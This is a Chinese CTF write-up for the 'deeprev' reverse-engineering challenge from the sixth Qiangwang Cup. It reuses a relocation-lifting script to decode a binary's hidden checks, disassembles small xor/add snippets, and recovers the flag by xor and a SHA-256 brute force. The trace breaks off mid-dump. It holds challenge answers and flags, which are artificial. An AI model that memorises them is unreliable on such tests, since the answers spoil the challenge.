第六届强网杯全国网络安全挑战赛WP
本文来自“白帽子社区知识星球”
作者:WHT战队
WHT战队招新:
WHT战队欢迎对CTF有浓厚兴趣的师傅加入我们。
有半年以上CTF竞赛经验的。
包括但不限于Web、Misc、Reverse、Crypto、Pwn等各方向的CTFer加入。
加分项:有一年以上CTF竞赛经验的各方向CTFer。
有意向的师傅请扫描二维码联系我们
1.deeprev
与GoogleCTF 2022 eldar相同,用作者的脚本dump
# Author: hgarrereyn
# Desc: Lifter solution for GoogleCTF 2022 eldar
import lief
from collections import namedtuple
from dataclasses import dataclass
from typing import Any
from capstone import *
from z3 import *
import numpy as np
md = Cs(CS_ARCH_X86, CS_MODE_64)
b = None
try:
b = lief.ELF.parse('./deeprev')
except:
raise Exception('Must have the ./eldar binary in cwd')
rela = [x for x in b.sections if x.name == '.rela.dyn'][0]
dynsym = [x for x in b.sections if x.name == '.dynsym'][0]
@dataclass
class Symbol(object):
idx: int
def __repr__(self):
return f's{self.idx}'
@dataclass
class Reloc(object):
idx: int
def __repr__(self):
return f'r{self.idx}'
@dataclass
class Ref(object):
val: Any
def __repr__(self):
return f'&{self.val}'
@dataclass
class SymAddr(object):
sym: Symbol
field: str
def __repr__(self):
return f'{self.sym}.{self.field}'
@dataclass
class RelocAddr(object):
reloc: Reloc
field: str
def __repr__(self):
return f'{self.reloc}.{self.field}'
def vaddr(self):
off = 0
match self.field:
case 'r_address':off = 0
case 'r_info': off = 8
case 'r_addend': off = 16
return (self.reloc.idx * 24) + off + rela.virtual_address
@dataclass
class FlagAddr(object):
idx: int
def __repr__(self):
return f'flag[{self.idx}]'
@dataclass
class OutAddr(object):
idx: int
def __repr__(self):
return f'out[{self.idx}]'
@dataclass
class ArrAddr(object):
idx: int
def __repr__(self):
return f'arr[{self.idx}]'
BaseAddr = namedtuple('baseaddr', [])
FailAddr = namedtuple('fail', [])
def format_addr(addr: int):
if addr >= rela.virtual_address and addr < rela.virtual_address + rela.size:
offset = addr - rela.virtual_address
r_offset = (offset // 24)
r_rem = offset % 24
if r_offset >= 3 and r_offset <= 88:
arr_idx = (r_offset - 3) * 3 + (r_rem // 8)
return ArrAddr(arr_idx)
elif r_offset == 89:
return OutAddr(r_rem)
match r_rem:
case 0: return RelocAddr(Reloc(r_offset), 'r_address')
case 8: return RelocAddr(Reloc(r_offset), 'r_info')
case 16: return RelocAddr(Reloc(r_offset), 'r_addend')
case _: return RelocAddr(Reloc(r_offset), r_rem)
elif addr > dynsym.virtual_address and addr < dynsym.virtual_address + dynsym.size:
offset = addr - dynsym.virtual_address
r_offset = (offset // 24)
r_rem = offset % 24
match r_rem:
case 0: return SymAddr(Symbol(r_offset), 'st_name')
case 8: return Symbol(r_offset)
case 16: return SymAddr(Symbol(r_offset), 'st_size')
case _: return SymAddr(Symbol(r_offset), r_rem)
elif addr >= 0x404040 and addr < 0x404040+29:
off = addr-0x404040
return FlagAddr(off)
elif addr == 0x804000:
return BaseAddr()
elif addr == 0x404060:
return FailAddr()
else:
return addr
def to_sym(name):
assert len(name) == 1
return Symbol(ord(name[0]))
Rel = namedtuple('REL', ['dst','val','ridx'])
Copy = namedtuple('CPY', ['dst', 'symbol', 'ridx'])
R64 = namedtuple('R64', ['dst','symbol','addend','ridx'])
R32 = namedtuple('R32', ['dst','symbol','addend','ridx'])
def parse(b) -> list:
print('[*] Loading relocations...')
relocs = list(b.relocations)
print('[*] Parsing...')
instructions = []
for i in range(3, len(relocs)):
r = relocs[i]
match r.type:
case 1: # R64
instructions.append(R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
case 5: # CPY
instructions.append(Copy(format_addr(r.address), to_sym(r.symbol.name), i))
case 8: # REL
instructions.append(Rel(format_addr(r.address), format_addr(r.addend), i))
case 10: # R32
instructions.append(R32(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i))
return instructions
Mov = namedtuple('mov', ['dst', 'src', 'sz', 'ridx'])
Add = namedtuple('add', ['dst', 'src', 'addend', 'ridx'])
def lift_mov_add(instructions):
idx = 0
sizes = []
curr = [8] * 8
sizes.append(curr)
for instr in instructions:
c = list(curr)
match instr:
case Rel(SymAddr(Symbol(idx), 'st_size'), val, ridx):
c[idx] = val
sizes.append(c)
while idx < len(instructions):
match instructions[idx]:
case Rel(dst, val, ridx):
instructions[idx] = Mov(dst, Ref(val), 8, ridx)
case Copy(dst, sym, ridx):
instructions[idx] = Mov(dst, sym, sizes[idx][sym.idx], ridx)
case R64(dst, sym, add, ridx):
instructions[idx] = Add(dst, sym, add, ridx)
idx += 1
return instructions
def remove_sizes(instructions):
# Sizes are now nops
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(SymAddr(Symbol(s), 'st_size'), _, _, _) if s != 3:
instructions[idx:idx+1] = []
idx += 1
return instructions
def lift_indirect(instructions):
# [0349] :: mov r350.r_addend, s2
# [0350] :: add s4, s4, 0
# [0351] :: mov r350.r_addend, &0
idx = 0
while idx < len(instructions):
match instructions[idx:idx+3]:
case [
Mov(RelocAddr(Reloc(rel_1), 'r_addend'), Symbol(sidx_1), sz_1, ridx_1),
Add(dst_2, sym_2, _, ridx_2),
Mov(RelocAddr(Reloc(rel_3), 'r_addend'), Ref(0), sz_3, _),
] if (
(rel_1 == ridx_2) and (rel_3 == ridx_2)
):
instructions[idx:idx+3] = [
Add(dst_2, sym_2, Symbol(sidx_1), ridx_1)
]
idx += 1
return instructions
Block = namedtuple('block', ['arr', 'flag', 'ridx'])
Output = namedtuple('output', ['out', 'arr', 'ridx'])
def lift_block(instructions):
# [0378] :: mov s2, &arr[1]
# [0008] :: add s4, s4, s2
# [0382] :: mov s2, &flag[1]
# [0384] :: movb s7, s2
# [0385] :: mov s2, &s7
# [0008] :: add s4, s4, s2
# [0390] :: r32 s4.st_value_p1, s1, 0
# [0391] :: mov s2, &arr[1]
# [0392] :: mov s6, s2
# [0393] :: mov s2, &s4
# [0008] :: add s5, s4, s2
# [0397] :: mov s2, &s5
# [0008] :: add s5, s5, s2
# [0008] :: add s5, s5, s2
# [0404] :: add s5, s5, arr[0]
# [0405] :: mov arr[1], s5
# [0406] :: mov r407.r_address, s2
# [0407] :: add 0, s6, 0
idx = 0
while idx < len(instructions):
match instructions[idx:idx+18]:
case [
Mov(_,arr,_,ridx),
Add(_,_,_,_),
Mov(_,flag,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
R32(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Add(_,_,_,_),
Add(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
]:
instructions[idx:idx+18] = [
Block(arr, flag, ridx)
]
idx += 1
return instructions
Reset = namedtuple('reset', ['ridx'])
ShuffleBlock = namedtuple('shuffleblock', ['f1', 'f2', 'ridx'])
def lift_reset(instructions):
idx = 0
while idx < len(instructions) - 256:
good = True
for i in range(256):
op = instructions[idx+i]
if type(op) == Mov:
dst, src, _, _ = op
if dst != ArrAddr(i) or src != Ref(i):
good = False
break
else:
good = False
break
if good:
instructions[idx:idx+256] = [Reset(instructions[idx].ridx)]
idx += 1
return instructions
def lift_shuffle_block(instructions):
idx = 0
while idx < len(instructions) - 256:
good = True
for i in range(256):
op = instructions[idx+i]
if type(op) == Block:
arr, flag, ridx = op
if arr != Ref(ArrAddr(i)):
good = False
break
else:
good = False
break
if good:
instructions[idx:idx+256] = [ShuffleBlock(instructions[idx].flag, instructions[idx+1].flag, instructions[idx].ridx)]
idx += 1
return instructions
Output = namedtuple('output', ['out', 'arr', 'ridx'])
def lift_output(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx+26]:
case [
Mov(_,arr,_,ridx),
Add(_,_,_,_),
R32(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Add(_,_,_,_),
Add(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
R32(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Mov(_,_,_,_),
Add(_,_,_,_),
Add(_,_,_,_),
Add(_,_,_,_),
Mov(out,_,_,_),
]:
instructions[idx:idx+26] = [Output(out, arr, ridx)]
idx += 1
return instructions
MultAdd = namedtuple('multadd', ['out', 'val', 'k', 'ridx'])
def lift_multadd(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx+3]:
# block prefix
case [
Mov(Symbol(2), out, _, ridx),
Mov(Symbol(5), Symbol(2), _, _),
Mov(Symbol(6), Ref(0), _, _),
]:
k = 0
double = False
ptr = idx + 3
good = True
while ptr < len(instructions):
match instructions[ptr]:
case Mov(Symbol(2), Ref(Symbol(6)), _, _):
double = True
case Mov(Symbol(2), Ref(Symbol(5)), _, _):
double = False
case Add(Symbol(6), Symbol(6), Symbol(2), _):
k = (k * 2) if double else (k + 1)
case Add(Symbol(7), Symbol(7), Symbol(2), _):
ptr += 1
break
case _:
good = False
break
ptr += 1
if good:
instructions[idx:ptr] = [
MultAdd(Symbol(7), out, k, ridx)
]
idx += 1
return instructions
Trunc = namedtuple('trunc', ['val', 'k', 'ridx'])
def lift_truncate(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx+2]:
case [
Mov(Symbol(2), Ref(SymAddr(Symbol(5), 11)), _, ridx),
Mov(SymAddr(Symbol(7), 11), Symbol(2), 5, _)
]:
instructions[idx:idx+2] = [
Trunc(Symbol(7), 0xffffff, ridx)]
idx += 1
return instructions
ArraySlots = namedtuple('arr', ['values', 'ridx'])
def lift_array_slots(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(BaseAddr(), Ref(0), _, ridx):
ptr = idx+1
while ptr < len(instructions):
op = instructions[ptr]
if type(op) != Mov or op.dst != BaseAddr():
break
ptr += 1
start = idx
end = ptr
data = []
# Check for movs into array.
vstart = RelocAddr(Reloc(ridx), 'r_address').vaddr()
offset = 0
while end + offset < len(instructions) and offset < ((end - start) * 3):
op = instructions[end + offset]
if type(op) == Mov and type(op.dst) is RelocAddr and op.dst.vaddr() == vstart + (offset * 8):
data.append(op.src.val)
else:
break
offset += 1
if len(data) > 0:
data += [0] * (((end - start) * 3) - len(data))
instructions[idx:end+offset] = [
ArraySlots(data, ridx)
]
idx += 1
return instructions
Shellcode = namedtuple('shellcode', ['dst', 'code', 'ridx'])
def lift_shellcode(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx+6]:
case [
ArraySlots(values, ridx),
Mov(Symbol(3), Ref(RelocAddr(Reloc(rel2), 'r_address')), _, _),
Mov(SymAddr(Symbol(3), 'st_name'), _, _, _),
Add(dst, Symbol(3), _, _),
Mov(Symbol(2), _, _, _),
Mov(RelocAddr(Reloc(rel6), 'r_address'), Symbol(2), _, _)
] if (rel2 == ridx) and (rel6 == ridx):
instructions[idx:idx+6] = [
Shellcode(dst, b''.join([(x & 0xffffffffffffffff).to_bytes(8, 'little') for x in values]), ridx)
]
idx += 1
return instructions
Aop = namedtuple('aop', ['dst', 'op', 'val', 'k', 'ridx'])
def lift_aop(instructions):
idx = 0
while idx < len(instructions):
match instructions[idx:idx+5]:
case [
Mov(Symbol(2), val, _, ridx),
Mov(Symbol(5), Symbol(2), _, _),
Shellcode(_, data, _),
Mov(Symbol(2), Ref(Symbol(5)), _, _),
Add(dst, dst2, Symbol(2), _)
] if len(data) == 24 and (dst == dst2):
op = next(md.disasm(data, 0))
t = op.mnemonic
k = int(op.op_str.split(', ')[-1], 16)
instructions[idx:idx+5] = [
Aop(dst, t, val, k, ridx)
]
idx += 1
return instructions
def solve_end_flag(instructions):
orig = [BitVec('f%d' % i, 8) for i in range(16,28)]
flag = ([0] * 16) + [ZeroExt(24, x) for x in orig]
s = Solver()
for o in orig:
s.add(UGT(o, 0x20))
s.add(ULT(o, 0x7f))
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:
x = BitVecVal(v, 32)
ptr = idx+1
while ptr < len(instructions):
match instructions[ptr]:
case MultAdd(Symbol(7), Ref(FlagAddr(f)), k, _):
x += (flag[f] * k)
case Aop(Symbol(7), op, Ref(FlagAddr(f)), k, _):
v = None
match op:
case 'and': v = flag[f] & k
case 'xor': v = flag[f] ^ k
case 'or': v = flag[f] | k
case 'rol': v = ZeroExt(24, RotateLeft(Extract(7,0,flag[f]), k))
case 'ror': v = ZeroExt(24, RotateRight(Extract(7,0,flag[f]), k))
case 'shl': v = ZeroExt(24, Extract(7,0,flag[f]) << k)
case 'shr': v = flag[f] >> k
case _:
raise Exception(f'unknown aop: {op}')
x += v
case Trunc(Symbol(7), k, _):
s.add(x == 0)
case _:
break
ptr += 1
idx += 1
print('solving...')
print(s.check())
m = s.model()
flag = bytes([m.eval(o).as_long() for o in orig])
return flag
def solve_out_arr(instructions):
X = []
Y = []
idx = 0
while idx < len(instructions):
match instructions[idx]:
case Mov(Symbol(7), Ref(v), _, ridx) if type(v) is int:
row = []
ptr = idx+1
while ptr < len(instructions):
match instructions[ptr]:
case MultAdd(Symbol(7), Ref(OutAddr(_)), k, _):
row.append(k)
case Trunc(Symbol(7), k, _):
X.append(row)
Y.append(-v)
case _:
break
ptr += 1
idx += 1
a = np.array(X, dtype=np.uint32)
b = np.array(Y, dtype=np.uint32)
return [int(x) for x in np.linalg.solve(a,b)]
def solve_start_flag(output):
def sim(a,b):
arr = list(range(256))
z = 0
for i in range(256):
p = a if i % 2 == 0 else b
z = (z + arr[i] + p) & 0xff
arr[i], arr[z] = arr[z], arr[i]
out = [0,0,0]
z = 0
for i in range(3):
z = (z + arr[i]) & 0xff
arr[i], arr[z] = arr[z], arr[i]
out[i] = arr[(arr[i] + arr[z]) & 0xff]
return out
def solve_chunk(k1,k2,k3):
# Brute force chunk.
for a in range(0x20, 0x7f):
for b in range(0x20, 0x7f):
out = sim(a,b)
if abs(out[0] - k1) <= 1 and abs(out[1] - k2) <= 1 and abs(out[2] - k3) <= 1:
return (a,b)
return None
f = []
for i in range(0,len(output),3):
f += list(solve_chunk(*output[i:i+3]))
return bytes(f)
def dump(instructions):
for op in instructions:
match op:
case Mov(SymAddr(sym, 'st_name'), Ref(val), 8, ridx) if type(val) is int:
name = val & 0xffffffff
info = (val >> 4) & 0xff
other = (val >> 5) & 0xff
shndx = (val >> 6) & 0xffff
print(f'[{ridx:04d}] :: setinfo {sym}, name=0x{name:x}, info=0x{info:x}, other=0x{other:x}, shndx=0x{shndx:x}')
case Mov(BaseAddr(), Ref(0), _, ridx):
print(f'[{ridx:04d}] :: [ARRAY SLOT]')
case Mov(dst, src, 8, ridx):
print(f'[{ridx:04d}] :: mov {dst}, {src}')
case Mov(dst, src, sz, ridx):
print(f'[{ridx:04d}] :: mov({sz}) {dst}, {src}')
case Add(dst, src, add, ridx):
print(f'[{ridx:04d}] :: add {dst}, {src}, {add}')
case R32(dst, src, add, ridx):
print(f'[{ridx:04d}] :: r32 {dst}, {src}, {add}')
case Block(arr, flag, ridx):
print(f'[{ridx:04d}] :: shuffle {arr}, {flag}')
case Output(out, arr, ridx):
print(f'[{ridx:04d}] :: output {out}, {arr}')
case ShuffleBlock(f1, f2, ridx):
print(f'[{ridx:04d}] :: shuffleblock {f1}, {f2}')
case MultAdd(dst, val, k, ridx):
print(f'[{ridx:04d}] :: madd {dst} += ({val} * {k})')
case Aop(dst, op, val, k, ridx):
print(f'[{ridx:04d}] :: aop {dst} += ({val} {op} {k})')
case Reset(ridx):
print(f'[{ridx:04d}] :: reset')
case Trunc(val, k, ridx):
print(f'[{ridx:04d}] :: trunc {val} &= 0x{k:x}')
case ArraySlots(values, ridx):
print(f'[{ridx:04d}] :: array [{", ".join([hex(x) for x in values])}]')
case Shellcode(dst, code, ridx):
print(f'[{ridx:04d}] :: exec {dst} <- {code.hex()}')
print('-' * 20)
for i in md.disasm(code, 0):
if i.mnemonic == 'ret':
break
print(" 0x%x:\t%s\t%s" %(i.address, i.mnemonic, i.op_str.replace('0x8040e4', 's5').replace('0x8040cc', 's4')))
print('-' * 20)
case _:
print(op)
LIFTS = [
lift_mov_add,
remove_sizes,
lift_indirect,
lift_block,
lift_reset,
lift_shuffle_block,
lift_output,
lift_multadd,
lift_truncate,
lift_array_slots,
lift_shellcode,
lift_aop,
]
def lift(instructions):
for lift_fn in LIFTS:
print(f'[*] {lift_fn.__name__}...')
instructions = lift_fn(instructions)
return instructions
instructions = parse(b)
instructions = lift(instructions)
dump(instructions)
'''
out = solve_out_arr(instructions)
start = solve_start_flag(out)
end = solve_end_flag(instructions)
# CTF{H0p3_y0u_l1k3_3LF_m4g1c}
print(start + end)
'''
(re) PS E:\2022\7\qwb\deeprev\attachment> python
.\dump.py
[*] Loading relocations...
[*] Parsing...
[*] lift_mov_add...
[*] remove_sizes...
[*] lift_indirect...
[*] lift_block...
[*] lift_reset...
[*] lift_shuffle_block...
[*] lift_output...
[*] lift_multadd...
[*] lift_truncate...
[*] lift_array_slots...
等待。。。得到伪代码
[*] Loading relocations...
[*] Parsing...
[*] lift_mov_add...
[*] remove_sizes...
[*] lift_indirect...
[*] lift_block...
[*] lift_reset...
[*] lift_shuffle_block...
[*] lift_output...
[*] lift_multadd...
[*] lift_truncate...
[*] lift_array_slots...
[*] lift_shellcode...
[*] lift_aop...
REL(dst=baseaddr(), val=0, ridx=3)
REL(dst=baseaddr(), val=0, ridx=4)
[0005] :: mov s2, &flag[0]
[0007] :: mov(1) s4, s2
[0008] :: [ARRAY SLOT]
[0009] :: mov arr[15], &1585408084625667200
[0010] :: mov arr[16], &195
[0011] :: mov s3, &arr[15]
[0012] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0013] :: add arr[15], s3, 0
[0014] :: mov s2, &r101002.r_address
[0016] :: mov(24) arr[15], s2
[0017] :: [ARRAY SLOT]
[0018] :: mov arr[42], &141015791240320
[0019] :: mov arr[43], &195
[0020] :: mov s3, &arr[42]
[0021] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0022] :: add arr[42], s3, 0
[0023] :: mov arr[42], s2
[0024] :: mov s2, &s4
[0026] :: mov(1) arr[0], s2
[0027] :: mov s2, &flag[1]
[0028] :: mov s4, s2
[0029] :: [ARRAY SLOT]
[0030] :: mov arr[78], &1657465678663595136
[0031] :: mov arr[79], &195
[0032] :: mov s3, &arr[78]
[0033] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0034] :: add arr[78], s3, 0
[0035] :: mov s2, &r101002.r_address
[0037] :: mov(24) arr[78], s2
[0038] :: [ARRAY SLOT]
[0039] :: mov arr[105], &72198609829168256
[0040] :: mov arr[106], &195
[0041] :: mov s3, &arr[105]
[0042] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0043] :: add arr[105], s3, 0
[0044] :: mov arr[105], s2
[0045] :: mov s2, &s4
[0047] :: mov(1) arr[0], s2
[0048] :: mov s2, &flag[2]
[0049] :: mov s4, s2
[0050] :: [ARRAY SLOT]
[0051] :: mov arr[141], &1153062520398099584
[0052] :: mov arr[142], &195
[0053] :: mov s3, &arr[141]
[0054] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0055] :: add arr[141], s3, 0
[0056] :: mov s2, &r101002.r_address
[0058] :: mov(24) arr[141], s2
[0059] :: [ARRAY SLOT]
[0060] :: mov arr[168], &144256203867096192
[0061] :: mov arr[169], &195
[0062] :: mov s3, &arr[168]
[0063] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0064] :: add arr[168], s3, 0
[0065] :: mov arr[168], s2
[0066] :: mov s2, &s4
[0068] :: mov(1) arr[0], s2
[0069] :: mov s2, &flag[3]
[0070] :: mov s4, s2
[0071] :: [ARRAY SLOT]
[0072] :: mov arr[204], &1297177708473955456
[0073] :: mov arr[205], &195
[0074] :: mov s3, &arr[204]
[0075] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0076] :: add arr[204], s3, 0
[0077] :: mov s2, &r101002.r_address
[0079] :: mov(24) arr[204], s2
[0080] :: [ARRAY SLOT]
[0081] :: mov arr[231], &216313797905024128
[0082] :: mov arr[232], &195
[0083] :: mov s3, &arr[231]
[0084] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0085] :: add arr[231], s3, 0
[0086] :: mov arr[231], s2
[0087] :: mov s2, &s4
[0089] :: mov(1) arr[0], s2
[0090] :: mov s2, &flag[4]
[0091] :: mov s4, s2
[0092] :: exec r92.r_address <-
803425cc40800010c3000000000000000000000000000000
-------------------- 0x0: xor byte
ptr [s4], 0x10
--------------------
[0101] :: array [0x4008040cc250480, 0xc3, 0x0]
[0104] :: mov s3, &r101.r_address
[0105] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0106] :: add r101.r_address, s3, 0
[0107] :: mov r101.r_address, s2
[0108] :: mov s2, &s4
[0110] :: mov(1) arr[0], s2
[0111] :: mov s2, &flag[5]
[0112] :: mov s4, s2
[0113] :: exec r113.r_address <-
803425cc40800011c3000000000000000000000000000000
-------------------- 0x0: xor byte
ptr [s4], 0x11
--------------------
[0122] :: array [0x5008040cc250480, 0xc3, 0x0]
[0125] :: mov s3, &r122.r_address
[0126] :: setinfo s3, name=0x1a, info=0x1,
other=0x0, shndx=0x0
[0127] :: add r122.r_address, s3, 0
[0128] :: mov r122.r_address, s2
[0129] :: mov s2, &s4
[0131] :: mov(1) arr[0], s2
flag[0]
[0009] :: mov arr[15], &1585408084625667200
[0018] :: mov arr[42], &141015791240320
flag[1]
[0030] :: mov arr[78], &1657465678663595136
[0039] :: mov arr[105], &72198609829168256
flag[2]
[0051] :: mov arr[141], &1153062520398099584
[0060] :: mov arr[168], &144256203867096192
flag[3]
[0072] :: mov arr[204], &1297177708473955456
[0081] :: mov arr[231], &216313797905024128
flag[4]
[0092] :: exec r92.r_address <-
803425cc40800010c3000000000000000000000000000000
-------------------- 0x0: xor byte ptr [s4], 0x10
--------------------
[0101] :: array [0x4008040cc250480, 0xc3, 0x0]
flag[5]
[0113] :: exec r113.r_address <-
803425cc40800011c3000000000000000000000000000000
-------------------- 0x0: xor byte ptr [s4], 0x11
--------------------
[0122] :: array [0x5008040cc250480, 0xc3, 0x0]
分别转换成汇编得到
脚本
nums = [1585408084625667200,
141015791240320,
1657465678663595136,
72198609829168256,
1153062520398099584,
144256203867096192,
1297177708473955456,
216313797905024128,0x4008040cc250480,0x5008040cc250480]
for num in nums:
shellcode = num.to_bytes(8,'little')
print(shellcode)
from capstone import *
md = Cs(CS_ARCH_X86, CS_MODE_32)#初始化类,给两个参数(硬件架构和硬件模式)
for i in md.disasm(shellcode,
0x00):#disasm 反汇编这段HEX, 它的参数是shellcode和起始地址。
print("0x%x:\t%s\t%s"%(i.address, i.mnemonic, i.op_str))#打印地址和操作数。
print('\n')
结果
flag[0]
[0009] :: mov arr[15], &1585408084625667200
b'\x804%\xcc@\x80\x00\x16'
0x0: xor byte ptr
[0x8040cc], 0x16
[0018] :: mov arr[42], &141015791240320
b'\x80\x04%\xcc@\x80\x00\x00'
0x0: add byte ptr
[0x8040cc], 0
flag[1]
[0030] :: mov arr[78], &1657465678663595136
b'\x804%\xcc@\x80\x00\x17'
0x0: xor byte ptr
[0x8040cc], 0x17
[0039] :: mov arr[105], &72198609829168256
b'\x80\x04%\xcc@\x80\x00\x01'
0x0: add byte ptr
[0x8040cc], 1
flag[2]
[0051] :: mov arr[141], &1153062520398099584
b'\x804%\xcc@\x80\x00\x10'
0x0: xor byte ptr
[0x8040cc], 0x10
[0060] :: mov arr[168], &144256203867096192
b'\x80\x04%\xcc@\x80\x00\x02'
0x0: add byte ptr
[0x8040cc], 2
flag[3]
[0072] :: mov arr[204], &1297177708473955456
b'\x804%\xcc@\x80\x00\x12'
0x0: xor byte ptr
[0x8040cc], 0x12
[0081] :: mov arr[231], &216313797905024128
b'\x80\x04%\xcc@\x80\x00\x03'
0x0: add byte ptr
[0x8040cc], 3
flag[4]
[0092] :: exec r92.r_address <-
803425cc40800010c3000000000000000000000000000000
-------------------- 0x0: xor byte ptr [s4], 0x10
--------------------
[0101] :: array [0x4008040cc250480, 0xc3, 0x0]
b'\x80\x04%\xcc@\x80\x00\x04'
0x0: add byte ptr
[0x8040cc], 4
flag[5]
[0113] :: exec r113.r_address <-
803425cc40800011c3000000000000000000000000000000
-------------------- 0x0: xor byte ptr [s4], 0x11
--------------------
[0122] :: array [0x5008040cc250480, 0xc3, 0x0]
b'\x80\x04%\xcc@\x80\x00\x05'
0x0: add byte ptr
[0x8040cc], 5
可以看出是对flag进行了异或加常数,然后通过xor检验,把所有异或的数和校验的数提取出来,异或得到flag前28个字符
xor_key =
[0x16,0x17,0x10,0x12,0x10,0x11,0x12,0x13,0x14,0x15,0x16,0x17,0x18,0x19,0x24,0x2c,0x26,0x1e,0x1f,0x20,0x20,0x21,0x23,0x27,0x24,0x25,0x26,0x27,]
c = [0x70,0x7c,0x73,0x78,0x6f,0x27,0x2a,0x2c,0x7f,0x35,0x2d,0x32,0x37,0x3b,0x22,0x59,0x53,0x8e,0x3d,0x2a,0x59,0x27,0x2d,0x29,0x34,0x2d,0x61,0x32,]
flag = ''
for i in range(len(c)):
flag+=(chr(xor_key[i]^(c[i]-i)))
print(flag)
#flag{366c950370fec47e34581a0
根据后面的代码知道flag后面还有四个字符
根据提示sha256(flag)[0:16] = f860464d767610bb
可爆破得到
import hashlib
import itertools as it
temp = 'flag{366c950370fec47e34581a0'
for e in
it.permutations('1234567890abcdefghijklmnopqrstuvwxyz', 3):
flag = temp + ''.join(e)
flag += '}'
if hashlib.sha256(flag.encode()).hexdigest()[0:16]
== 'f860464d767610bb':
print(flag)
#flag{366c950370fec47e34581a0574}
对后面的代码继续分析
[1073] :: mov s6, &0
[1074] :: mov s2, &flag[28]
[1075] :: mov s6, s2
s6 = flag[28]
[1076] :: mov s2, &4210781
[1077] :: mov s7, s2
s7 = flag[29]
[1078] :: mov s8, &0
s8 = 0
[1079] :: mov s2, &s8
s2 = 0
[1080] :: add s8, s8, s2
s8 = s8 + s2 = 0
[1083] :: mov s2, &s6
s2 = s6
[1084] :: add s8, s8, s2
s8 = s8 + s2 = s6 = flag[28]
[1087] :: mov s9, &0
s9 = 0
[1088] :: mov s2, &s9
s2 = 0
[1089] :: add s9, s9, s2
s9 = s9 + s2 = 0
[1092] :: mov s2, &s7
s2 = s7
[1093] :: add s9, s9, s2
s9 = s9 + s2 = s7 = flag[29]
[1096] :: mov s2, &s9
s2 = s9 = flag[29]
[1097] :: add s10, s8, s2
s10 = s8 + s2 = flag[28] + flag[29]
[1100] :: exec r1100.r_address <-
8034255c4180006cc3000000000000000000000000000000
-------------------- 0x0: xor byte
ptr [0x80415c], 0x6c
--------------------
[1109] :: mov s2, &s10
[1111] :: add s5, s5, s2
[1114] :: mov s6, &0
[1115] :: mov s7, &0
[1116] :: mov s8, &0
[1117] :: mov s9, &0
[1118] :: mov s10, &0
[1119] :: mov s2, &flag[28]
s2 = flag[28]
[1120] :: mov s6, s2
s6 = s2 = flag[28]
[1121] :: mov s2, &4210781
s2 = flag[29]
[1122] :: mov s7, s2
s7 = s2 = flag[29]
[1123] :: mov s8, &0
s8 = 0
[1124] :: mov s2, &s8
s2 = s8 =0
[1125] :: add s8, s8, s2
s8 = s8 + s2 = 0
[1128] :: mov s2, &s6
s2 = s6
[1129] :: add s8, s8, s2
s8 = s8 + s2 = flag[28]
[1132] :: mov s2, &s8
s2 = s8 = flag[28]
[1133] :: add s8, s8, s2
s8 = s8 + s2 = flag[28] + flag[28]
[1136] :: mov s9, &0
s9 = 0
[1137] :: mov s2, &s9
s2 = s9 = 0
[1138] :: add s9, s9, s2
s9 = s9 + s2 = 0
[1141] :: mov s2, &s7
s2 = s7 = flag[29]
[1142] :: add s9, s9, s2
s9 = s9 + s2 = flag[29]
[1145] :: mov s2, &s9
s2 = s9 = flag[29]
[1146] :: add s10, s8, s2
s10 = s8 + s2 = 2*flag[28] + flag[29]
[1149] :: exec r1149.r_address <-
8034255c418000a1c3000000000000000000000000000000
-------------------- 0x0: xor byte
ptr [0x80415c], 0xa1
--------------------
[1158] :: mov s2, &s10
[1160] :: add s5, s5, s2
[1163] :: mov s6, &0
s6 = 0
[1164] :: mov s7, &0
s7 = 0
[1165] :: mov s8, &0
s8 = 0
[1166] :: mov s9, &0
s9 = 0
[1167] :: mov s10, &0
s10 = 0
[1168] :: mov s2, &4210782
s2 = flag[30]
[1169] :: mov s6, s2
s6 = s2 = flag[30]
[1170] :: mov s2, &4210783
s2 = flag[31]
[1171] :: mov s7, s2
s7 = s2 = flag[31]
[1172] :: mov s8, &0
s8 = 0
[1173] :: mov s2, &s8
s2 = s8 = 0
[1174] :: add s8, s8, s2
s8 = s8 + s2 = 0
[1177] :: mov s2, &s6
s2 = s6 = flag[30]
[1178] :: add s8, s8, s2
s8 = s8 + s2 = flag[30]
[1181] :: mov s9, &0
s9 = 0
[1182] :: mov s2, &s9
s2 = s9 = 0
[1183] :: add s9, s9, s2
s9 = s9 + s2 = 0
[1186] :: mov s2, &s7
s2 = s7 = flag[31]
[1187] :: add s9, s9, s2
s9 = s9 + s2 = flag[31]
[1190] :: mov s2, &s9
s2 = s9 = flag[31]
[1191] :: add s10, s8, s2
s10 = s8 + s2 = flag[30] + flag[31]
[1194] :: exec r1194.r_address <-
